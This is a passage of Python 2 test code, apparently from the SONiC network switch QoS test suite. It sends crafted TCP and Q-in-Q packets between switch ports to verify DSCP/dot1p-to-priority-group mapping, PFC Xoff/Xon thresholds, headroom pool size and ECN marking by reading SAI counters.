if isinstance(result, self.dataplane.PollFailure):
self.fail("Expected packet was not received on port %d. Total received: %d.\n%s" % (dst_port_id, total_recv_cnt, result.format()))
recv_pkt = scapy.Ether(result.packet)
total_recv_cnt += 1
# verify dot1p priority
dot1p = dot1ps[dot1p_recv_cnt]
try:
if (recv_pkt.payload.prio == dot1p) and (recv_pkt.payload.vlan == vlan_id):
dot1p_recv_cnt += 1
print >> sys.stderr, "dot1p: %d, total received: %d" % (dot1p, total_recv_cnt)
except AttributeError:
print >> sys.stderr, "dot1p: %d, total received: %d, attribute error!" % (dot1p, total_recv_cnt)
continue
finally:
print >> sys.stderr, "END OF TEST"
# DSCP to pg mapping
class DscpToPgMapping(sai_base_test.ThriftInterfaceDataPlane):
def runTest(self):
switch_init(self.client)
# Parse input parameters
router_mac = self.test_params['router_mac']
print >> sys.stderr, "router_mac: %s" % (router_mac)
dst_port_id = int(self.test_params['dst_port_id'])
dst_port_ip = self.test_params['dst_port_ip']
dst_port_mac = self.dataplane.get_mac(0, dst_port_id)
src_port_id = int(self.test_params['src_port_id'])
src_port_ip = self.test_params['src_port_ip']
src_port_mac = self.dataplane.get_mac(0, src_port_id)
print >> sys.stderr, "dst_port_id: %d, src_port_id: %d" % (dst_port_id, src_port_id)
print >> sys.stderr, "dst_port_mac: %s, src_port_mac: %s, src_port_ip: %s, dst_port_ip: %s" % (dst_port_mac, src_port_mac, src_port_ip, dst_port_ip)
exp_ip_id = 100
exp_ttl = 63
# According to SONiC configuration all dscps are classified to pg 0 except:
# dscp 3 -> pg 3
# dscp 4 -> pg 4
# So for the 64 pkts sent the mapping should be -> 62 pg 0, 1 for pg 3, and 1 for pg 4
lossy_dscps = range(0, 64)
lossy_dscps.remove(3)
lossy_dscps.remove(4)
pg_dscp_map = {
3 : [3],
4 : [4],
0 : lossy_dscps
}
print >> sys.stderr, pg_dscp_map
try:
for pg, dscps in pg_dscp_map.items():
pg_cntrs_base = sai_thrift_read_pg_counters(self.client, port_list[src_port_id])
# send pkts with dscps that map to the same pg
for dscp in dscps:
tos = (dscp << 2)
tos |= 1
pkt = simple_tcp_packet(pktlen=64,
eth_dst=router_mac if router_mac != '' else dst_port_mac,
eth_src=src_port_mac,
ip_src=src_port_ip,
ip_dst=dst_port_ip,
ip_tos=tos,
ip_id=exp_ip_id,
ip_ttl=exp_ttl + 1 if router_mac != '' else exp_ttl)
send_packet(self, src_port_id, pkt, 1)
print >> sys.stderr, "dscp: %d, calling send_packet" % (tos >> 2)
# validate pg counters increment by the correct pkt num
time.sleep(8)
pg_cntrs = sai_thrift_read_pg_counters(self.client, port_list[src_port_id])
print >> sys.stderr, pg_cntrs_base
print >> sys.stderr, pg_cntrs
print >> sys.stderr, map(operator.sub, pg_cntrs, pg_cntrs_base)
for i in range(0, PG_NUM):
if i == pg:
assert(pg_cntrs[pg] == pg_cntrs_base[pg] + len(dscps))
else:
assert(pg_cntrs[i] == pg_cntrs_base[i])
# confirm that dscp pkts are received
total_recv_cnt = 0
dscp_recv_cnt = 0
while dscp_recv_cnt < len(dscps):
result = self.dataplane.poll(device_number=0, port_number=dst_port_id, timeout=3)
if isinstance(result, self.dataplane.PollFailure):
self.fail("Expected packet was not received on port %d. Total received: %d.\n%s" % (dst_port_id, total_recv_cnt, result.format()))
recv_pkt = scapy.Ether(result.packet)
total_recv_cnt += 1
# verify dscp flag
tos = dscps[dscp_recv_cnt] << 2
tos |= 1
try:
if (recv_pkt.payload.tos == tos) and (recv_pkt.payload.src == src_port_ip) and (recv_pkt.payload.dst == dst_port_ip) and \
(recv_pkt.payload.ttl == exp_ttl) and (recv_pkt.payload.id == exp_ip_id):
dscp_recv_cnt += 1
print >> sys.stderr, "dscp: %d, total received: %d" % (tos >> 2, total_recv_cnt)
except AttributeError:
print >> sys.stderr, "dscp: %d, total received: %d, attribute error!" % (tos >> 2, total_recv_cnt)
continue
finally:
print >> sys.stderr, "END OF TEST"
# DOT1P to pg mapping
class Dot1pToPgMapping(sai_base_test.ThriftInterfaceDataPlane):
def runTest(self):
switch_init(self.client)
# Parse input parameters
router_mac = self.test_params['router_mac']
print >> sys.stderr, "router_mac: %s" % (router_mac)
dst_port_id = int(self.test_params['dst_port_id'])
dst_port_ip = self.test_params['dst_port_ip']
dst_port_mac = self.dataplane.get_mac(0, dst_port_id)
src_port_id = int(self.test_params['src_port_id'])
src_port_ip = self.test_params['src_port_ip']
src_port_mac = self.dataplane.get_mac(0, src_port_id)
print >> sys.stderr, "dst_port_id: %d, src_port_id: %d" % (dst_port_id, src_port_id)
print >> sys.stderr, "dst_port_mac: %s, src_port_mac: %s, src_port_ip: %s, dst_port_ip: %s" % (dst_port_mac, src_port_mac, src_port_ip, dst_port_ip)
vlan_id = int(self.test_params['vlan_id'])
exp_ip_id = 103
exp_ttl = 63
# According to SONiC configuration dot1ps are classified as follows:
# dot1p 0 -> pg 0
# dot1p 1 -> pg 0
# dot1p 2 -> pg 0
# dot1p 3 -> pg 3
# dot1p 4 -> pg 4
# dot1p 5 -> pg 0
# dot1p 6 -> pg 0
# dot1p 7 -> pg 0
pg_dot1p_map = {
0 : [0, 1, 2, 5, 6, 7],
3 : [3],
4 : [4]
}
print >> sys.stderr, pg_dot1p_map
try:
for pg, dot1ps in pg_dot1p_map.items():
pg_cntrs_base = sai_thrift_read_pg_counters(self.client, port_list[src_port_id])
# send pkts with dot1ps that map to the same pg
for dot1p in dot1ps:
# ecn marked
tos = 1
# Note that vlan tag can be stripped by a switch.
# To embrace this situation, we assemble a q-in-q double-tagged packet,
# and write the dot1p info into both vlan tags so that
# when we receive the packet we do not need to make any assumption
# on whether the outer tag is stripped by the switch or not, or
# more importantly, we do not need to care about, as in the single-tagged
# case, whether the immediate payload is the vlan tag or the ip
# header to determine the valid fields for receive validation
# purpose. With a q-in-q packet, we are sure that the next layer of
# header in either switching behavior case is still a vlan tag
pkt = simple_qinq_tcp_packet(pktlen=64,
eth_dst=router_mac if router_mac != '' else dst_port_mac,
eth_src=src_port_mac,
dl_vlan_outer=vlan_id,
dl_vlan_pcp_outer=dot1p,
vlan_vid=vlan_id,
vlan_pcp=dot1p,
ip_src=src_port_ip,
ip_dst=dst_port_ip,
ip_tos=tos,
ip_ttl=exp_ttl + 1 if router_mac != '' else exp_ttl)
send_packet(self, src_port_id, pkt, 1)
print >> sys.stderr, "dot1p: %d, calling send_packet" % (dot1p)
# validate pg counters increment by the correct pkt num
time.sleep(8)
pg_cntrs = sai_thrift_read_pg_counters(self.client, port_list[src_port_id])
print >> sys.stderr, pg_cntrs_base
print >> sys.stderr, pg_cntrs
print >> sys.stderr, map(operator.sub, pg_cntrs, pg_cntrs_base)
for i in range(0, PG_NUM):
if i == pg:
assert(pg_cntrs[pg] == pg_cntrs_base[pg] + len(dot1ps))
else:
assert(pg_cntrs[i] == pg_cntrs_base[i])
# confirm that dot1p pkts sent are received
total_recv_cnt = 0
dot1p_recv_cnt = 0
while dot1p_recv_cnt < len(dot1ps):
result = self.dataplane.poll(device_number=0, port_number=dst_port_id, timeout=3)
if isinstance(result, self.dataplane.PollFailure):
self.fail("Expected packet was not received on port %d. Total received: %d.\n%s" % (dst_port_id, total_recv_cnt, result.format()))
recv_pkt = scapy.Ether(result.packet)
total_recv_cnt += 1
# verify dot1p priority
dot1p = dot1ps[dot1p_recv_cnt]
try:
if (recv_pkt.payload.prio == dot1p) and (recv_pkt.payload.vlan == vlan_id):
dot1p_recv_cnt += 1
print >> sys.stderr, "dot1p: %d, total received: %d" % (dot1p, total_recv_cnt)
except AttributeError:
print >> sys.stderr, "dot1p: %d, total received: %d, attribute error!" % (dot1p, total_recv_cnt)
continue
finally:
print >> sys.stderr, "END OF TEST"
# This test is to measure the Xoff threshold, and buffer limit
class PFCtest(sai_base_test.ThriftInterfaceDataPlane):
def runTest(self):
time.sleep(5)
switch_init(self.client)
# Parse input parameters
dscp = int(self.test_params['dscp'])
ecn = int(self.test_params['ecn'])
router_mac = self.test_params['router_mac']
pg = int(self.test_params['pg']) + 2 # The pfc counter index starts from index 2 in sai_thrift_read_port_counters
dst_port_id = int(self.test_params['dst_port_id'])
dst_port_ip = self.test_params['dst_port_ip']
dst_port_mac = self.dataplane.get_mac(0, dst_port_id)
max_buffer_size = int(self.test_params['buffer_max_size'])
max_queue_size = int(self.test_params['queue_max_size'])
src_port_id = int(self.test_params['src_port_id'])
src_port_ip = self.test_params['src_port_ip']
src_port_mac = self.dataplane.get_mac(0, src_port_id)
asic_type = self.test_params['sonic_asic_type']
pkts_num_leak_out = int(self.test_params['pkts_num_leak_out'])
pkts_num_trig_pfc = int(self.test_params['pkts_num_trig_pfc'])
pkts_num_trig_ingr_drp = int(self.test_params['pkts_num_trig_ingr_drp'])
# Prepare TCP packet data
tos = dscp << 2
tos |= ecn
ttl = 64
default_packet_length = 64
pkt = simple_tcp_packet(pktlen=default_packet_length,
eth_dst=router_mac if router_mac != '' else dst_port_mac,
eth_src=src_port_mac,
ip_src=src_port_ip,
ip_dst=dst_port_ip,
ip_tos=tos,
ip_ttl=ttl)
# get a snapshot of counter values at recv and transmit ports
# queue_counters value is not of our interest here
recv_counters_base, queue_counters = sai_thrift_read_port_counters(self.client, port_list[src_port_id])
xmit_counters_base, queue_counters = sai_thrift_read_port_counters(self.client, port_list[dst_port_id])
# Add slight tolerance in threshold characterization to consider
# the case that cpu puts packets in the egress queue after we pause the egress
# or the leak out is simply less than expected as we have occasionally observed
margin = 2
sai_thrift_port_tx_disable(self.client, asic_type, [dst_port_id])
try:
# send packets short of triggering pfc
send_packet(self, src_port_id, pkt, pkts_num_leak_out + pkts_num_trig_pfc - 1 - margin)
# allow enough time for the dut to sync up the counter values in counters_db
time.sleep(8)
# get a snapshot of counter values at recv and transmit ports
# queue counters value is not of our interest here
recv_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[src_port_id])
xmit_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[dst_port_id])
# recv port no pfc
assert(recv_counters[pg] == recv_counters_base[pg])
# recv port no ingress drop
assert(recv_counters[INGRESS_DROP] == recv_counters_base[INGRESS_DROP])
# xmit port no egress drop
assert(xmit_counters[EGRESS_DROP] == xmit_counters_base[EGRESS_DROP])
# send 1 packet to trigger pfc
send_packet(self, src_port_id, pkt, 1 + 2 * margin)
# allow enough time for the dut to sync up the counter values in counters_db
time.sleep(8)
# get a snapshot of counter values at recv and transmit ports
# queue counters value is not of our interest here
recv_counters_base = recv_counters
recv_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[src_port_id])
xmit_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[dst_port_id])
# recv port pfc
assert(recv_counters[pg] > recv_counters_base[pg])
# recv port no ingress drop
assert(recv_counters[INGRESS_DROP] == recv_counters_base[INGRESS_DROP])
# xmit port no egress drop
assert(xmit_counters[EGRESS_DROP] == xmit_counters_base[EGRESS_DROP])
# send packets short of ingress drop
send_packet(self, src_port_id, pkt, pkts_num_trig_ingr_drp - pkts_num_trig_pfc - 1 - 2 * margin)
# allow enough time for the dut to sync up the counter values in counters_db
time.sleep(8)
# get a snapshot of counter values at recv and transmit ports
# queue counters value is not of our interest here
recv_counters_base = recv_counters
recv_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[src_port_id])
xmit_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[dst_port_id])
# recv port pfc
assert(recv_counters[pg] > recv_counters_base[pg])
# recv port no ingress drop
assert(recv_counters[INGRESS_DROP] == recv_counters_base[INGRESS_DROP])
# xmit port no egress drop
assert(xmit_counters[EGRESS_DROP] == xmit_counters_base[EGRESS_DROP])
# send 1 packet to trigger ingress drop
send_packet(self, src_port_id, pkt, 1 + 2 * margin)
# allow enough time for the dut to sync up the counter values in counters_db
time.sleep(8)
# get a snapshot of counter values at recv and transmit ports
# queue counters value is not of our interest here
recv_counters_base = recv_counters
recv_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[src_port_id])
xmit_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[dst_port_id])
# recv port pfc
assert(recv_counters[pg] > recv_counters_base[pg])
# recv port ingress drop
assert(recv_counters[INGRESS_DROP] > recv_counters_base[INGRESS_DROP])
# xmit port no egress drop
assert(xmit_counters[EGRESS_DROP] == xmit_counters_base[EGRESS_DROP])
finally:
sai_thrift_port_tx_enable(self.client, asic_type, [dst_port_id])
# This test looks to measure xon threshold (pg_reset_floor)
class PFCXonTest(sai_base_test.ThriftInterfaceDataPlane):
def runTest(self):
time.sleep(5)
switch_init(self.client)
last_pfc_counter = 0
recv_port_counters = []
transmit_port_counters = []
# Parse input parameters
dscp = int(self.test_params['dscp'])
ecn = int(self.test_params['ecn'])
router_mac = self.test_params['router_mac']
max_buffer_size = int(self.test_params['buffer_max_size'])
pg = int(self.test_params['pg']) + 2 # The pfc counter index starts from index 2 in sai_thrift_read_port_counters
dst_port_id = int(self.test_params['dst_port_id'])
dst_port_ip = self.test_params['dst_port_ip']
dst_port_mac = self.dataplane.get_mac(0, dst_port_id)
src_port_id = int(self.test_params['src_port_id'])
src_port_ip = self.test_params['src_port_ip']
src_port_mac = self.dataplane.get_mac(0, src_port_id)
asic_type = self.test_params['sonic_asic_type']
tos = dscp << 2
tos |= ecn
ttl = 64
# TODO: pass in dst_port_id and _ip as a list
dst_port_2_id = int(self.test_params['dst_port_2_id'])
dst_port_2_ip = self.test_params['dst_port_2_ip']
dst_port_2_mac = self.dataplane.get_mac(0, dst_port_2_id)
dst_port_3_id = int(self.test_params['dst_port_3_id'])
dst_port_3_ip = self.test_params['dst_port_3_ip']
dst_port_3_mac = self.dataplane.get_mac(0, dst_port_3_id)
pkts_num_leak_out = int(self.test_params['pkts_num_leak_out'])
pkts_num_trig_pfc = int(self.test_params['pkts_num_trig_pfc'])
pkts_num_dismiss_pfc = int(self.test_params['pkts_num_dismiss_pfc'])
default_packet_length = 64
# get a snapshot of counter values at recv and transmit ports
# queue_counters value is not of our interest here
recv_counters_base, queue_counters = sai_thrift_read_port_counters(self.client, port_list[src_port_id])
xmit_counters_base, queue_counters = sai_thrift_read_port_counters(self.client, port_list[dst_port_id])
xmit_2_counters_base, queue_counters = sai_thrift_read_port_counters(self.client, port_list[dst_port_2_id])
xmit_3_counters_base, queue_counters = sai_thrift_read_port_counters(self.client, port_list[dst_port_3_id])
# The number of packets that will trek into the headroom space;
# We observe in test that if the packets are sent to multiple destination ports,
# the ingress may not trigger PFC sharp at its boundary
margin = 1
sai_thrift_port_tx_disable(self.client, asic_type, [dst_port_id, dst_port_2_id, dst_port_3_id])
try:
# send packets to dst port 0
pkt = simple_tcp_packet(pktlen=default_packet_length,
eth_dst=router_mac if router_mac != '' else dst_port_mac,
eth_src=src_port_mac,
ip_src=src_port_ip,
ip_dst=dst_port_ip,
ip_tos=tos,
ip_ttl=ttl)
send_packet(self, src_port_id, pkt, pkts_num_leak_out + pkts_num_trig_pfc - pkts_num_dismiss_pfc)
# send packets to dst port 1
pkt = simple_tcp_packet(pktlen=default_packet_length,
eth_dst=router_mac if router_mac != '' else dst_port_2_mac,
eth_src=src_port_mac,
ip_src=src_port_ip,
ip_dst=dst_port_2_ip,
ip_tos=tos,
ip_ttl=ttl)
send_packet(self, src_port_id, pkt, pkts_num_leak_out + margin + pkts_num_dismiss_pfc - 1)
# send 1 packet to dst port 2
pkt = simple_tcp_packet(pktlen=default_packet_length,
eth_dst=router_mac if router_mac != '' else dst_port_3_mac,
eth_src=src_port_mac,
ip_src=src_port_ip,
ip_dst=dst_port_3_ip,
ip_tos=tos,
ip_ttl=ttl)
send_packet(self, src_port_id, pkt, pkts_num_leak_out + 1)
# allow enough time for the dut to sync up the counter values in counters_db
time.sleep(8)
# get a snapshot of counter values at recv and transmit ports
# queue counters value is not of our interest here
recv_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[src_port_id])
xmit_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[dst_port_id])
xmit_2_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[dst_port_2_id])
xmit_3_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[dst_port_3_id])
# recv port pfc
assert(recv_counters[pg] > recv_counters_base[pg])
# recv port no ingress drop
assert(recv_counters[INGRESS_DROP] == recv_counters_base[INGRESS_DROP])
# xmit port no egress drop
assert(xmit_counters[EGRESS_DROP] == xmit_counters_base[EGRESS_DROP])
assert(xmit_2_counters[EGRESS_DROP] == xmit_2_counters_base[EGRESS_DROP])
assert(xmit_3_counters[EGRESS_DROP] == xmit_3_counters_base[EGRESS_DROP])
sai_thrift_port_tx_enable(self.client, asic_type, [dst_port_2_id])
# allow enough time for the dut to sync up the counter values in counters_db
time.sleep(8)
# get a snapshot of counter values at recv and transmit ports
# queue counters value is not of our interest here
recv_counters_base = recv_counters
recv_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[src_port_id])
xmit_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[dst_port_id])
xmit_2_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[dst_port_2_id])
xmit_3_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[dst_port_3_id])
# recv port pfc
assert(recv_counters[pg] > recv_counters_base[pg])
# recv port no ingress drop
assert(recv_counters[INGRESS_DROP] == recv_counters_base[INGRESS_DROP])
# xmit port no egress drop
assert(xmit_counters[EGRESS_DROP] == xmit_counters_base[EGRESS_DROP])
assert(xmit_2_counters[EGRESS_DROP] == xmit_2_counters_base[EGRESS_DROP])
assert(xmit_3_counters[EGRESS_DROP] == xmit_3_counters_base[EGRESS_DROP])
sai_thrift_port_tx_enable(self.client, asic_type, [dst_port_3_id])
# allow enough time for the dut to sync up the counter values in counters_db
time.sleep(8)
# get new base counter values at recv ports
# queue counters value is not of our interest here
recv_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[src_port_id])
assert(recv_counters[INGRESS_DROP] == recv_counters_base[INGRESS_DROP])
recv_counters_base = recv_counters
time.sleep(30)
# get a snapshot of counter values at recv and transmit ports
# queue counters value is not of our interest here
recv_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[src_port_id])
xmit_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[dst_port_id])
xmit_2_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[dst_port_2_id])
xmit_3_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[dst_port_3_id])
# recv port no pfc
assert(recv_counters[pg] == recv_counters_base[pg])
# recv port no ingress drop
assert(recv_counters[INGRESS_DROP] == recv_counters_base[INGRESS_DROP])
# xmit port no egress drop
assert(xmit_counters[EGRESS_DROP] == xmit_counters_base[EGRESS_DROP])
assert(xmit_2_counters[EGRESS_DROP] == xmit_2_counters_base[EGRESS_DROP])
assert(xmit_3_counters[EGRESS_DROP] == xmit_3_counters_base[EGRESS_DROP])
finally:
sai_thrift_port_tx_enable(self.client, asic_type, [dst_port_id, dst_port_2_id, dst_port_3_id])
class HdrmPoolSizeTest(sai_base_test.ThriftInterfaceDataPlane):
def runTest(self):
time.sleep(5)
switch_init(self.client)
# Parse input parameters
dscps = self.test_params['dscps']
ecn = self.test_params['ecn']
router_mac = self.test_params['router_mac']
pgs = [pg + 2 for pg in self.test_params['pgs']] # The pfc counter index starts from index 2 in sai_thrift_read_port_counters
src_port_ids = self.test_params['src_port_ids']
src_port_ips = self.test_params['src_port_ips']
print >> sys.stderr, src_port_ips
sys.stderr.flush()
dst_port_id = self.test_params['dst_port_id']
dst_port_ip = self.test_params['dst_port_ip']
pgs_num = self.test_params['pgs_num']
asic_type = self.test_params['sonic_asic_type']
pkts_num_leak_out = self.test_params['pkts_num_leak_out']
pkts_num_trig_pfc = self.test_params['pkts_num_trig_pfc']
pkts_num_hdrm_full = self.test_params['pkts_num_hdrm_full']
pkts_num_hdrm_partial = self.test_params['pkts_num_hdrm_partial']
print >> sys.stderr, ("pkts num: leak_out: %d, trig_pfc: %d, hdrm_full: %d, hdrm_partial: %d" % (pkts_num_leak_out, pkts_num_trig_pfc, pkts_num_hdrm_full, pkts_num_hdrm_partial))
sys.stderr.flush()
dst_port_mac = self.dataplane.get_mac(0, dst_port_id)
src_port_macs = [self.dataplane.get_mac(0, ptid) for ptid in src_port_ids]
margin = 0
sidx_dscp_pg_tuples = [(sidx, dscp, pgs[pgidx]) for sidx, sid in enumerate(src_port_ids) for pgidx, dscp in enumerate(dscps)]
assert(len(sidx_dscp_pg_tuples) >= pgs_num)
print >> sys.stderr, sidx_dscp_pg_tuples
sys.stderr.flush()
# get a snapshot of counter values at recv and transmit ports
# queue_counters value is not of our interest here
recv_counters_bases = [sai_thrift_read_port_counters(self.client, port_list[sid])[0] for sid in src_port_ids]
xmit_counters_base, queue_counters = sai_thrift_read_port_counters(self.client, port_list[dst_port_id])
# Pause egress of dut xmit port
sai_thrift_port_tx_disable(self.client, asic_type, [dst_port_id])
try:
# send packets to leak out
sidx = 0
pkt = simple_tcp_packet(pktlen=64,
eth_dst=router_mac if router_mac != '' else dst_port_mac,
eth_src=src_port_macs[sidx],
ip_src=src_port_ips[sidx],
ip_dst=dst_port_ip,
ip_ttl=64)
send_packet(self, src_port_ids[sidx], pkt, pkts_num_leak_out)
# send packets to all pgs to fill the service pool
# and trigger PFC on all pgs
for i in range(0, pgs_num):
# Prepare TCP packet data
tos = sidx_dscp_pg_tuples[i][1] << 2
tos |= ecn
ttl = 64
default_packet_length = 64
pkt = simple_tcp_packet(pktlen=default_packet_length,
eth_dst=router_mac if router_mac != '' else dst_port_mac,
eth_src=src_port_macs[sidx_dscp_pg_tuples[i][0]],
ip_src=src_port_ips[sidx_dscp_pg_tuples[i][0]],
ip_dst=dst_port_ip,
ip_tos=tos,
ip_ttl=ttl)
send_packet(self, src_port_ids[sidx_dscp_pg_tuples[i][0]], pkt, pkts_num_trig_pfc)
print >> sys.stderr, "Service pool almost filled"
sys.stderr.flush()
# allow enough time for the dut to sync up the counter values in counters_db
time.sleep(8)
for i in range(0, pgs_num):
# Prepare TCP packet data
tos = sidx_dscp_pg_tuples[i][1] << 2
tos |= ecn
ttl = 64
default_packet_length = 64
pkt = simple_tcp_packet(pktlen=default_packet_length,
eth_dst=router_mac if router_mac != '' else dst_port_mac,
eth_src=src_port_macs[sidx_dscp_pg_tuples[i][0]],
ip_src=src_port_ips[sidx_dscp_pg_tuples[i][0]],
ip_dst=dst_port_ip,
ip_tos=tos,
ip_ttl=ttl)
pkt_cnt = 0
recv_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[src_port_ids[sidx_dscp_pg_tuples[i][0]]])
while (recv_counters[sidx_dscp_pg_tuples[i][2]] == recv_counters_bases[sidx_dscp_pg_tuples[i][0]][sidx_dscp_pg_tuples[i][2]]) and (pkt_cnt < 10):
send_packet(self, src_port_ids[sidx_dscp_pg_tuples[i][0]], pkt, 1)
pkt_cnt += 1
# allow enough time for the dut to sync up the counter values in counters_db
time.sleep(8)
# get a snapshot of counter values at recv and transmit ports
# queue_counters value is not of our interest here
recv_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[src_port_ids[sidx_dscp_pg_tuples[i][0]]])
if pkt_cnt == 10:
sys.exit("Too many pkts needed to trigger pfc: %d" % (pkt_cnt))
assert(recv_counters[sidx_dscp_pg_tuples[i][2]] > recv_counters_bases[sidx_dscp_pg_tuples[i][0]][sidx_dscp_pg_tuples[i][2]])
print >> sys.stderr, "%d packets for sid: %d, pg: %d to trigger pfc" % (pkt_cnt, src_port_ids[sidx_dscp_pg_tuples[i][0]], sidx_dscp_pg_tuples[i][2] - 2)
sys.stderr.flush()
print >> sys.stderr, "PFC triggered"
sys.stderr.flush()
# send packets to all pgs to fill the headroom pool
for i in range(0, pgs_num):
# Prepare TCP packet data
tos = sidx_dscp_pg_tuples[i][1] << 2
tos |= ecn
ttl = 64
default_packet_length = 64
pkt = simple_tcp_packet(pktlen=default_packet_length,
eth_dst=router_mac if router_mac != '' else dst_port_mac,
eth_src=src_port_macs[sidx_dscp_pg_tuples[i][0]],
ip_src=src_port_ips[sidx_dscp_pg_tuples[i][0]],
ip_dst=dst_port_ip,
ip_tos=tos,
ip_ttl=ttl)
send_packet(self, src_port_ids[sidx_dscp_pg_tuples[i][0]], pkt, pkts_num_hdrm_full if i != pgs_num - 1 else pkts_num_hdrm_partial)
# allow enough time for the dut to sync up the counter values in counters_db
time.sleep(8)
recv_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[src_port_ids[sidx_dscp_pg_tuples[i][0]]])
# assert no ingress drop
assert(recv_counters[INGRESS_DROP] == recv_counters_bases[sidx_dscp_pg_tuples[i][0]][INGRESS_DROP])
print >> sys.stderr, "all but the last pg hdrms filled"
sys.stderr.flush()
# last pg
i = pgs_num - 1
# send 1 packet on last pg to trigger ingress drop
send_packet(self, src_port_ids[sidx_dscp_pg_tuples[i][0]], pkt, 1 + 2 * margin)
# allow enough time for the dut to sync up the counter values in counters_db
time.sleep(8)
recv_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[src_port_ids[sidx_dscp_pg_tuples[i][0]]])
# assert ingress drop
assert(recv_counters[INGRESS_DROP] > recv_counters_bases[sidx_dscp_pg_tuples[i][0]][INGRESS_DROP])
# assert no egress drop at the dut xmit port
xmit_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[dst_port_id])
assert(xmit_counters[EGRESS_DROP] == xmit_counters_base[EGRESS_DROP])
print >> sys.stderr, "pg hdrm filled"
sys.stderr.flush()
finally:
sai_thrift_port_tx_enable(self.client, asic_type, [dst_port_id])
# TODO: remove sai_thrift_clear_all_counters and change to use incremental counter values
class DscpEcnSend(sai_base_test.ThriftInterfaceDataPlane):
def runTest(self):
switch_init(self.client)
# Parse input parameters
dscp = int(self.test_params['dscp'])
ecn = int(self.test_params['ecn'])
router_mac = self.test_params['router_mac']
default_packet_length = 64
dst_port_id = int(self.test_params['dst_port_id'])
dst_port_ip = self.test_params['dst_port_ip']
dst_port_mac = self.dataplane.get_mac(0, dst_port_id)
src_port_id = int(self.test_params['src_port_id'])
src_port_ip = self.test_params['src_port_ip']
src_port_mac = self.dataplane.get_mac(0, src_port_id)
num_of_pkts = self.test_params['num_of_pkts']
limit = self.test_params['limit']
min_limit = self.test_params['min_limit']
cell_size = self.test_params['cell_size']
#STOP PORT FUNCTION
sched_prof_id=sai_thrift_create_scheduler_profile(self.client,STOP_PORT_MAX_RATE)
attr_value = sai_thrift_attribute_value_t(oid=sched_prof_id)
attr = sai_thrift_attribute_t(id=SAI_PORT_ATTR_QOS_SCHEDULER_PROFILE_ID, value=attr_value)
self.client.sai_thrift_set_port_attribute(port_list[dst_port_id], attr)
# Clear Counters
sai_thrift_clear_all_counters(self.client)
#send packets
try:
tos = dscp << 2
tos |= ecn
ttl = 64
for i in range(0, num_of_pkts):
pkt = simple_tcp_packet(pktlen=default_packet_length,
eth_dst=router_mac,
eth_src=src_port_mac,
ip_src=src_port_ip,
ip_dst=dst_port_ip,
ip_tos=tos,
ip_ttl=ttl)
send_packet(self, 0, pkt)
leaking_pkt_number = 0
for (rcv_port_number, pkt_str, pkt_time) in self.dataplane.packets(0, 1):
leaking_pkt_number += 1
print "leaking packet %d" % leaking_pkt_number
# Read Counters
print "DST port counters: "
port_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[dst_port_id])
print port_counters
print queue_counters
# Clear Counters
sai_thrift_clear_all_counters(self.client)
# Set receiving socket buffers to some big value
for p in self.dataplane.ports.values():
p.socket.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 41943040)
# RELEASE PORT
sched_prof_id=sai_thrift_create_scheduler_profile(self.client,RELEASE_PORT_MAX_RATE)
attr_value = sai_thrift_attribute_value_t(oid=sched_prof_id)
attr = sai_thrift_attribute_t(id=SAI_PORT_ATTR_QOS_SCHEDULER_PROFILE_ID, value=attr_value)
self.client.sai_thrift_set_port_attribute(port_list[dst_port_id],attr)
# if (ecn == 1) - capture and parse all incoming packets
marked_cnt = 0
not_marked_cnt = 0
if (ecn == 1):
print ""
print "ECN capable packets generated, releasing dst_port and analyzing traffic -"
cnt = 0
pkts = []
for i in xrange(num_of_pkts):
(rcv_device, rcv_port, rcv_pkt, pkt_time) = dp_poll(self, device_number=0, port_number=dst_port_id, timeout=0.2)
if rcv_pkt is not None:
cnt += 1
pkts.append(rcv_pkt)
else: # Received less packets then expected
assert (cnt == num_of_pkts)
print " Received packets: " + str(cnt)
for pkt_to_inspect in pkts:
pkt_str = hex_dump_buffer(pkt_to_inspect)
# Count marked and not marked amount of packets
if ( (int(pkt_str[ECN_INDEX_IN_HEADER]) & 0x03) == 1 ):
not_marked_cnt += 1
elif ( (int(pkt_str[ECN_INDEX_IN_HEADER]) & 0x03) == 3 ):
assert (not_marked_cnt == 0)
marked_cnt += 1
print " ECN non-marked pkts: " + str(not_marked_cnt)
print " ECN marked pkts: " + str(marked_cnt)
print ""
time.sleep(5)
# Read Counters
print "DST port counters: "
port_counters, queue_counters = sai_thrift_read_port_counters(self.client, port_list[dst_port_id])
print port_counters
print queue_counters
if (ecn == 0):
transmitted_data = port_counters[TRANSMITTED_PKTS] * 2 * cell_size #num_of_pkts*pkt_size_in_cells*cell_size
assert (port_counters[TRANSMITTED_OCTETS] <= limit * 1.05)
assert (transmitted_data >= min_limit)
assert (marked_cnt == 0)
elif (ecn == 1):
non_marked_data = not_marked_cnt * 2 * cell_size
assert (non_marked_data <= limit*1.05)
assert (non_marked_data >= limit*0.95)
assert (marked_cnt == (num_of_pkts - not_marked_cnt))
assert (port_counters[EGRESS_DROP] == 0)
assert (port_counters[INGRESS_DROP] == 0)
finally:
# RELEASE PORT
